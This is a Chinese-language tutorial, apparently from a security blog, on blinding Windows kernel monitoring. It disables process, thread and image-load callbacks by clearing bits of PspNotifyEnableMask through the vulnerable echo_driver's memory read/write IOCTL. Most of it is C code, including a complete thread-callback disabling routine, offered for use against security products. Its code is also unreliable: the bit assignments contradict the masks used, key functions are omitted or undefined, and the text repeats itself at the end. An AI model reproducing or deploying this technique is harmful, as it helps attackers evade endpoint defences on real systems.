清除内核回调
字数 1182 2025-08-29 08:30:36

内核回调清除技术详解

1. 内核回调机制概述

Windows内核提供了三种主要的回调机制,用于监控系统活动:

  1. 进程创建回调 - PsSetCreateProcessNotifyRoutine
  2. 线程创建回调 - PsSetCreateThreadNotifyRoutine
  3. 映像加载回调 - PsSetLoadImageNotifyRoutine

这些回调通过PspNotifyEnableMask全局变量控制是否启用。

2. PspNotifyEnableMask 机制

PspNotifyEnableMask是一个关键全局变量,它决定了哪些类型的回调会被执行:

  • 进程回调:由第一位和第二位控制
  • 线程回调:由第三位和第四位控制
  • 映像加载回调:由第0位控制

当相应位被置0时,对应类型的回调将不再触发。

3. 定位PspNotifyEnableMask

3.1 特征码搜索方法

可以通过以下步骤定位PspNotifyEnableMask

  1. 首先获取ntoskrnl模块基地址
  2. 通过导出函数PoRegisterCoalescingCallback向下搜索
  3. 找到PspNotifyEnableMask的内存位置

3.2 代码实现示例

// 获取ntoskrnl基地址
PVOID GetNtoskrnlBase() {
    ULONG size = 0;
    ZwQuerySystemInformation(SystemModuleInformation, NULL, 0, &size);
    
    PRTL_PROCESS_MODULES modules = ExAllocatePool(NonPagedPool, size);
    ZwQuerySystemInformation(SystemModuleInformation, modules, size, NULL);
    
    PVOID base = modules->Modules[0].ImageBase;
    ExFreePool(modules);
    return base;
}

// 搜索PspNotifyEnableMask
ULONG64 FindPspNotifyEnableMask(PVOID ntoskrnlBase) {
    // 实际实现中需要根据具体Windows版本编写特征码搜索逻辑
    // 这里省略具体实现细节
    return maskAddress;
}

4. 清除回调的具体方法

4.1 清除进程创建回调

PspNotifyEnableMask的第一位和第二位置0:

ULONG64 maskAddr = FindPspNotifyEnableMask(ntoskrnlBase);
ULONG maskValue = ReadMemory(maskAddr);  // 使用内核内存读取函数
maskValue &= ~0x3;  // 清除最低两位
WriteMemory(maskAddr, maskValue);  // 使用内核内存写入函数

4.2 清除线程创建回调

PspNotifyEnableMask的第三位和第四位置0:

ULONG64 maskAddr = FindPspNotifyEnableMask(ntoskrnlBase);
ULONG maskValue = ReadMemory(maskAddr);
maskValue &= ~0xC;  // 清除第三和第四位(0xC = 1100b)
WriteMemory(maskAddr, maskValue);

4.3 清除映像加载回调

PspNotifyEnableMask的第0位置0:

ULONG64 maskAddr = FindPspNotifyEnableMask(ntoskrnlBase);
ULONG maskValue = ReadMemory(maskAddr);
maskValue &= ~0x1;  // 清除第0位
WriteMemory(maskAddr, maskValue);

5. 利用EchoDriver实现内存读写

文章提到可以使用echo_driver进行内存操作,具体方法如下:

  1. 驱动程序符号链接:\??\DosDevices\EchoDrv
  2. 关键IOCTL代码:0x9e6a0594
  3. 内存复制功能:通过0x60A26124调用MmCopyVirtualMemory

5.1 通信结构定义

typedef struct _ECHO_DRV_REQUEST {
    ULONG_PTR Address;
    ULONG Size;
    PVOID Buffer;
    ULONG Operation;  // 0 = read, 1 = write
    ULONG_PTR Result;
} ECHO_DRV_REQUEST, *PECHO_DRV_REQUEST;

5.2 使用示例

HANDLE OpenEchoDriver() {
    UNICODE_STRING devName = RTL_CONSTANT_STRING(L"\\??\\DosDevices\\EchoDrv");
    OBJECT_ATTRIBUTES objAttr;
    InitializeObjectAttributes(&objAttr, &devName, OBJ_CASE_INSENSITIVE, NULL, NULL);
    
    IO_STATUS_BLOCK ioStatus;
    HANDLE hDevice;
    NTSTATUS status = ZwOpenFile(&hDevice, GENERIC_READ | GENERIC_WRITE, &objAttr, &ioStatus, 
                                FILE_SHARE_READ | FILE_SHARE_WRITE, FILE_SYNCHRONOUS_IO_NONALERT);
    if (NT_SUCCESS(status)) {
        return hDevice;
    }
    return NULL;
}

NTSTATUS EchoReadMemory(HANDLE hDevice, ULONG_PTR address, PVOID buffer, ULONG size) {
    ECHO_DRV_REQUEST request = {0};
    request.Address = address;
    request.Size = size;
    request.Buffer = buffer;
    request.Operation = 0;  // read
    
    IO_STATUS_BLOCK ioStatus;
    return ZwDeviceIoControlFile(hDevice, NULL, NULL, NULL, &ioStatus, 
                               0x9e6a0594, &request, sizeof(request), &request, sizeof(request));
}

6. 完整清除线程回调示例

void DisableThreadCallbacks() {
    // 1. 获取ntoskrnl基地址
    PVOID ntoskrnlBase = GetNtoskrnlBase();
    
    // 2. 查找PspNotifyEnableMask地址
    ULONG64 maskAddr = FindPspNotifyEnableMask(ntoskrnlBase);
    
    // 3. 打开echo驱动
    HANDLE hEcho = OpenEchoDriver();
    if (!hEcho) return;
    
    // 4. 读取当前mask值
    ULONG maskValue = 0;
    EchoReadMemory(hEcho, maskAddr, &maskValue, sizeof(maskValue));
    
    // 5. 清除线程回调位(第三和第四位)
    maskValue &= ~0xC;
    
    // 6. 写回新值
    EchoWriteMemory(hEcho, maskAddr, &maskValue, sizeof(maskValue));
    
    // 7. 关闭驱动句柄
    ZwClose(hEcho);
}

7. 注意事项

  1. 不同Windows版本的PspNotifyEnableMask位置可能不同,需要针对特定版本调整特征码
  2. 直接修改内核内存可能导致系统不稳定
  3. 此技术可能被安全软件检测为恶意行为
  4. 在生产环境中使用前应充分测试

8. 效果验证

清除成功后:

  • 进程创建回调将不再触发
  • 线程创建回调将不再触发
  • 映像加载回调将不再触发

可以通过监控工具如Process Monitor或自定义内核驱动程序验证回调是否已被禁用。

9. 替代方案

除了修改PspNotifyEnableMask,还可以考虑:

  1. 从回调链中移除特定回调
  2. 挂钩回调调用函数
  3. 修改回调函数指针

但这些方法通常需要更深入的内核知识,且兼容性可能较差。

内核回调清除技术详解 1. 内核回调机制概述 Windows内核提供了三种主要的回调机制,用于监控系统活动: 进程创建回调 - PsSetCreateProcessNotifyRoutine 线程创建回调 - PsSetCreateThreadNotifyRoutine 映像加载回调 - PsSetLoadImageNotifyRoutine 这些回调通过 PspNotifyEnableMask 全局变量控制是否启用。 2. PspNotifyEnableMask 机制 PspNotifyEnableMask 是一个关键全局变量,它决定了哪些类型的回调会被执行: 进程回调 :由第一位和第二位控制 线程回调 :由第三位和第四位控制 映像加载回调 :由第0位控制 当相应位被置0时,对应类型的回调将不再触发。 3. 定位PspNotifyEnableMask 3.1 特征码搜索方法 可以通过以下步骤定位 PspNotifyEnableMask : 首先获取ntoskrnl模块基地址 通过导出函数 PoRegisterCoalescingCallback 向下搜索 找到 PspNotifyEnableMask 的内存位置 3.2 代码实现示例 4. 清除回调的具体方法 4.1 清除进程创建回调 将 PspNotifyEnableMask 的第一位和第二位置0: 4.2 清除线程创建回调 将 PspNotifyEnableMask 的第三位和第四位置0: 4.3 清除映像加载回调 将 PspNotifyEnableMask 的第0位置0: 5. 利用EchoDriver实现内存读写 文章提到可以使用 echo_driver 进行内存操作,具体方法如下: 驱动程序符号链接: \??\DosDevices\EchoDrv 关键IOCTL代码: 0x9e6a0594 内存复制功能:通过 0x60A26124 调用 MmCopyVirtualMemory 5.1 通信结构定义 5.2 使用示例 6. 完整清除线程回调示例 7. 注意事项 不同Windows版本的 PspNotifyEnableMask 位置可能不同,需要针对特定版本调整特征码 直接修改内核内存可能导致系统不稳定 此技术可能被安全软件检测为恶意行为 在生产环境中使用前应充分测试 8. 效果验证 清除成功后: 进程创建回调将不再触发 线程创建回调将不再触发 映像加载回调将不再触发 可以通过监控工具如Process Monitor或自定义内核驱动程序验证回调是否已被禁用。 9. 替代方案 除了修改 PspNotifyEnableMask ,还可以考虑: 从回调链中移除特定回调 挂钩回调调用函数 修改回调函数指针 但这些方法通常需要更深入的内核知识,且兼容性可能较差。